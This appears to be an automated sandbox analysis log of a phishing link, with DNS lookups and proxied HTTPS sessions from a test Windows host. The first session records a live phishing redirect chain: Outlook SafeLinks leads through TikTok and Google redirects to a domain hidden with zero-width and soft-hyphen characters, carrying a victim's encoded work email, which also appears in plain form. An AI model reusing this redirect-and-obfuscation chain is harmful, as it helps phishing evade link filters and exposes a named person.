Oct 10, 2024 18:00:31.264528990 CEST	53	62583	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:31.264621973 CEST	53	64288	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:34.763793945 CEST	53	51694	1.1.1.1	192.168.2.17
Oct 10, 2024 18:00:53.507437944 CEST	53	61951	1.1.1.1	192.168.2.17
Oct 10, 2024 18:01:15.310098886 CEST	53	64831	1.1.1.1	192.168.2.17
Oct 10, 2024 18:01:16.580785036 CEST	53	57903	1.1.1.1	192.168.2.17
Oct 10, 2024 18:01:25.872427940 CEST	138	138	192.168.2.17	192.168.2.255
Oct 10, 2024 18:01:44.206821918 CEST	53	59227	1.1.1.1	192.168.2.17

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 10, 2024 18:00:26.761018991 CEST	192.168.2.17	1.1.1.1	c284	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 10, 2024 18:00:15.529966116 CEST	192.168.2.17	1.1.1.1	0x7a17	Standard query (0)	nam04.safelinks.protection.outlook.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:15.530180931 CEST	192.168.2.17	1.1.1.1	0xab5	Standard query (0)	nam04.safelinks.protection.outlook.com	65	IN (0x0001)	false
Oct 10, 2024 18:00:17.921380997 CEST	192.168.2.17	1.1.1.1	0x3dc7	Standard query (0)	www.tiktok.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:17.921380997 CEST	192.168.2.17	1.1.1.1	0x33d0	Standard query (0)	www.tiktok.com	65	IN (0x0001)	false
Oct 10, 2024 18:00:19.471025944 CEST	192.168.2.17	1.1.1.1	0xda8a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:19.471288919 CEST	192.168.2.17	1.1.1.1	0x3743	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 10, 2024 18:00:21.403139114 CEST	192.168.2.17	1.1.1.1	0xb99f	Standard query (0)	bayraktarplaza.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:21.403290987 CEST	192.168.2.17	1.1.1.1	0xb5c	Standard query (0)	bayraktarplaza.com	65	IN (0x0001)	false
Oct 10, 2024 18:00:23.700120926 CEST	192.168.2.17	1.1.1.1	0x112a	Standard query (0)	pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:23.700120926 CEST	192.168.2.17	1.1.1.1	0xe2e1	Standard query (0)	pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev	65	IN (0x0001)	false
Oct 10, 2024 18:00:24.907129049 CEST	192.168.2.17	1.1.1.1	0xf32c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:24.907290936 CEST	192.168.2.17	1.1.1.1	0x7fc7	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 10, 2024 18:00:24.907959938 CEST	192.168.2.17	1.1.1.1	0xebbf	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:24.908107042 CEST	192.168.2.17	1.1.1.1	0xa607	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 10, 2024 18:00:25.759351015 CEST	192.168.2.17	1.1.1.1	0x6a03	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:25.759516001 CEST	192.168.2.17	1.1.1.1	0x2cc	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 10, 2024 18:00:26.350678921 CEST	192.168.2.17	1.1.1.1	0xe171	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:26.350868940 CEST	192.168.2.17	1.1.1.1	0x698b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 10, 2024 18:00:26.448240995 CEST	192.168.2.17	1.1.1.1	0x48aa	Standard query (0)	sparksavvy.ru	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:26.448364019 CEST	192.168.2.17	1.1.1.1	0xbf3a	Standard query (0)	sparksavvy.ru	65	IN (0x0001)	false
Oct 10, 2024 18:00:30.346194029 CEST	192.168.2.17	1.1.1.1	0xf	Standard query (0)	sparksavvy.ru	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:30.346329927 CEST	192.168.2.17	1.1.1.1	0xbc82	Standard query (0)	sparksavvy.ru	65	IN (0x0001)	false
Oct 10, 2024 18:00:30.462342024 CEST	192.168.2.17	1.1.1.1	0x857d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:30.462594986 CEST	192.168.2.17	1.1.1.1	0x59f8	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 10, 2024 18:00:31.257337093 CEST	192.168.2.17	1.1.1.1	0x7d08	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:31.257337093 CEST	192.168.2.17	1.1.1.1	0x6467	Standard query (0)	code.jquery.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 10, 2024 18:00:15.952516079 CEST	1.1.1.1	192.168.2.17	0x7a17	No error (0)	nam04.safelinks.protection.outlook.com	nam04.safelinks.eop-tm2.outlook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 10, 2024 18:00:15.952516079 CEST	1.1.1.1	192.168.2.17	0x7a17	No error (0)	nam04.safelinks.eop-tm2.outlook.com		104.47.74.28	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:15.952516079 CEST	1.1.1.1	192.168.2.17	0x7a17	No error (0)	nam04.safelinks.eop-tm2.outlook.com		104.47.73.156	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:15.952516079 CEST	1.1.1.1	192.168.2.17	0x7a17	No error (0)	nam04.safelinks.eop-tm2.outlook.com		104.47.73.28	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:15.969604015 CEST	1.1.1.1	192.168.2.17	0xab5	No error (0)	nam04.safelinks.protection.outlook.com	nam04.safelinks.eop-tm2.outlook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 10, 2024 18:00:17.928585052 CEST	1.1.1.1	192.168.2.17	0x33d0	No error (0)	www.tiktok.com	www.tiktok.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 10, 2024 18:00:17.929471016 CEST	1.1.1.1	192.168.2.17	0x3dc7	No error (0)	www.tiktok.com	www.tiktok.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 10, 2024 18:00:19.478230953 CEST	1.1.1.1	192.168.2.17	0xda8a	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:19.478323936 CEST	1.1.1.1	192.168.2.17	0x3743	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 10, 2024 18:00:21.600579977 CEST	1.1.1.1	192.168.2.17	0xb99f	No error (0)	bayraktarplaza.com		185.179.27.104	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:23.710661888 CEST	1.1.1.1	192.168.2.17	0x112a	No error (0)	pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:23.710661888 CEST	1.1.1.1	192.168.2.17	0x112a	No error (0)	pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:24.915138960 CEST	1.1.1.1	192.168.2.17	0x7fc7	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 10, 2024 18:00:24.915364981 CEST	1.1.1.1	192.168.2.17	0xf32c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:24.915364981 CEST	1.1.1.1	192.168.2.17	0xf32c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:24.915375948 CEST	1.1.1.1	192.168.2.17	0xebbf	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:24.915375948 CEST	1.1.1.1	192.168.2.17	0xebbf	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:24.916177034 CEST	1.1.1.1	192.168.2.17	0xa607	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 10, 2024 18:00:25.768335104 CEST	1.1.1.1	192.168.2.17	0x2cc	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 10, 2024 18:00:25.768486023 CEST	1.1.1.1	192.168.2.17	0x6a03	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:25.768486023 CEST	1.1.1.1	192.168.2.17	0x6a03	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:26.358802080 CEST	1.1.1.1	192.168.2.17	0xe171	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:26.358802080 CEST	1.1.1.1	192.168.2.17	0xe171	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:26.359461069 CEST	1.1.1.1	192.168.2.17	0x698b	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 10, 2024 18:00:26.688173056 CEST	1.1.1.1	192.168.2.17	0x48aa	No error (0)	sparksavvy.ru		104.21.48.11	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:26.688173056 CEST	1.1.1.1	192.168.2.17	0x48aa	No error (0)	sparksavvy.ru		172.67.175.180	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:26.760947943 CEST	1.1.1.1	192.168.2.17	0xbf3a	No error (0)	sparksavvy.ru			65	IN (0x0001)	false
Oct 10, 2024 18:00:30.469181061 CEST	1.1.1.1	192.168.2.17	0x857d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:30.469181061 CEST	1.1.1.1	192.168.2.17	0x857d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:30.469181061 CEST	1.1.1.1	192.168.2.17	0x857d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:30.469181061 CEST	1.1.1.1	192.168.2.17	0x857d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:30.621649981 CEST	1.1.1.1	192.168.2.17	0xf	No error (0)	sparksavvy.ru		104.21.48.11	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:30.621649981 CEST	1.1.1.1	192.168.2.17	0xf	No error (0)	sparksavvy.ru		172.67.175.180	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:30.646965981 CEST	1.1.1.1	192.168.2.17	0xbc82	No error (0)	sparksavvy.ru			65	IN (0x0001)	false
Oct 10, 2024 18:00:31.264621973 CEST	1.1.1.1	192.168.2.17	0x7d08	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:31.264621973 CEST	1.1.1.1	192.168.2.17	0x7d08	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:31.264621973 CEST	1.1.1.1	192.168.2.17	0x7d08	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:00:31.264621973 CEST	1.1.1.1	192.168.2.17	0x7d08	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

nam04.safelinks.protection.outlook.com

slscr.update.microsoft.com

www.google.com

bayraktarplaza.com

https:

pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev

cdnjs.cloudflare.com

challenges.cloudflare.com

sparksavvy.ru

code.jquery.com

fs.microsoft.com

evoke-windowsservices-tas.msedge.net

www.bing.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49701	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:14 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-10 16:00:14 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-10 16:00:15 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 10 Oct 2024 15:59:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: cf5fa0d9-eafc-4473-a4b6-cd3d89804422 PPServer: PPV: 30 H: SN1PEPF0002F9C1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 10 Oct 2024 16:00:14 GMT Connection: close Content-Length: 11389
2024-10-10 16:00:15 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49706	104.47.74.28	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:17 UTC	1703	OUT	GET /?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%2Fv2%3Faid%3D1988%26lang%3Denpihd7s%26scene%3Dbio_url%26target%3Dwww.google.com%2Furl%3Fq%253DIrfT8NMLx6QPaJgv6Z3g%2526rct%253DqsUbQmXhZ93d4gNXIWaR%2526sa%253Dt%2526esrc%253DEgJeLX8CAl11DNSW7pgH%2526source%253D%2526cd%253D9X3EYbyCMUoB46Jqpszn%2526cad%253Dz64Ndl7J844jI5EH33et%2526ved%253D36LRX1krI3rPMEZVSMU2%2526uact%253D%252520%2526url%253Damp%252F%25E2%2580%258Bbay%25C2%25ADrak%25C2%25ADtar%25C2%25ADplaza%25C2%25AD%25C2%25AD.%25E2%2580%258Bco%25C2%25ADm%252Fauth%252Factive%252Fy8E4XKJctWEENyvnBLR6%252FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D%26source%3Dgmail%26ust%3D1725986149001000%26usg%3DAOvVaw1kdi6SPX1NGpGYFWhG_1Z7&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826692599%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=UMW01VeNOABdw6sIGnj5zpPinQYedujNvCzkhwwtiOg%3D&reserve [TRUNCATED] Host: nam04.safelinks.protection.outlook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:17 UTC	1104	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://www.tiktok.com/////link/v2?aid=1988&lang=enpihd7s&scene=bio_url&target=www.google.com/url?q%3DIrfT8NMLx6QPaJgv6Z3g%26rct%3DqsUbQmXhZ93d4gNXIWaR%26sa%3Dt%26esrc%3DEgJeLX8CAl11DNSW7pgH%26source%3D%26cd%3D9X3EYbyCMUoB46Jqpszn%26cad%3Dz64Ndl7J844jI5EH33et%26ved%3D36LRX1krI3rPMEZVSMU2%26uact%3D%2520%26url%3Damp%2F%E2%80%8Bbay%C2%ADrak%C2%ADtar%C2%ADplaza%C2%AD%C2%AD.%E2%80%8Bco%C2%ADm%2Fauth%2Factive%2Fy8E4XKJctWEENyvnBLR6%2FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ==&source=gmail&ust=1725986149001000&usg=AOvVaw1kdi6SPX1NGpGYFWhG_1Z7 Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 4.0 X-SL-GetUrlReputation-Verdict: Good X-Robots-Tag: noindex, nofollow X-AspNet-Version: 4.0.30319 X-ServerName: BN8NAM04WS049 X-ServerVersion: 15.20.8048.013 X-ServerLat: 165 X-SafeLinks-Tracking-Id: eeb0f9c0-decd-44ff-4312-08dce944a2b4 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff X-UA-Compatible: IE=Edge Date: Thu, 10 Oct 2024 16:00:17 GMT Connection: close Content-Length: 692
2024-10-10 16:00:17 UTC	692	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 69 6b 74 6f 6b 2e 63 6f 6d 2f 2f 2f 2f 2f 6c 69 6e 6b 2f 76 32 3f 61 69 64 3d 31 39 38 38 26 61 6d 70 3b 6c 61 6e 67 3d 65 6e 70 69 68 64 37 73 26 61 6d 70 3b 73 63 65 6e 65 3d 62 69 6f 5f 75 72 6c 26 61 6d 70 3b 74 61 72 67 65 74 3d 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 25 33 44 49 72 66 54 38 4e 4d 4c 78 36 51 50 61 4a 67 76 36 5a 33 67 25 32 36 72 63 74 25 33 44 71 73 55 62 51 6d 58 68 5a 39 33 64 34 67 4e 58 49 57 61 52 25 32 36 73 61 25 33 44 74 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://www.tiktok.com/////link/v2?aid=1988&lang=enpihd7s&scene=bio_url&target=www.google.com/url?q%3DIrfT8NMLx6QPaJgv6Z3g%26rct%3DqsUbQmXhZ93d4gNXIWaR%26sa%3Dt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49707	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:17 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-10 16:00:17 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-10 16:00:18 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 10 Oct 2024 15:59:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: 2b6066a3-d846-4de6-9278-5502eb37dc71 PPServer: PPV: 30 H: PH1PEPF00011FCE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 10 Oct 2024 16:00:17 GMT Connection: close Content-Length: 11389
2024-10-10 16:00:18 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49708	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Zm3gm9bC7FsE3Ep&MD=r81BdaDm HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-10 16:00:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e9a092c3-1ace-479b-99a6-fccdf0dfc562 MS-RequestId: 1fbb5a32-2d0f-45df-a304-af8411b51cfc MS-CV: aXYVLl2EJUiduq0v.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 10 Oct 2024 16:00:17 GMT Connection: close Content-Length: 24490
2024-10-10 16:00:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( 